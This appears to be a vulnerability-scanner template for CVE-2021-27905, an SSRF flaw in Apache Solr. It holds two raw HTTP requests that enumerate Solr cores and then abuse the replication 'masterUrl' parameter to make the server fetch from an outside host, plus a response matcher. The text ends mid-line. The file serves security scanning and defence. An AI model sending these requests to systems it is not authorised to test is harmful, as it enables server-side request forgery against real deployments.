48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2021-27905
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info:
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name: Apache Solr <= 8.8.1 SSRF
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author: hackergautam
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severity: critical
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description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler
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on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior
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to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
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reference:
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- https://www.anquanke.com/post/id/238201
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- https://ubuntu.com/security/CVE-2021-27905
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27905
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- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-27905
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cwe-id: CWE-918
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tags: cve,cve2021,apache,solr,ssrf
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requests:
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- raw:
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- |
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GET /solr/admin/cores?wt=json HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Connection: close
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- |
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GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Connection: close
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extractors:
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- type: regex
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internal: true
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name: core
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group: 1
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regex:
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- '"name"\:"(.*?)"'
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matchers:
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- type: word
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words:
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- '<str name="status">OK</str>'
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part: body |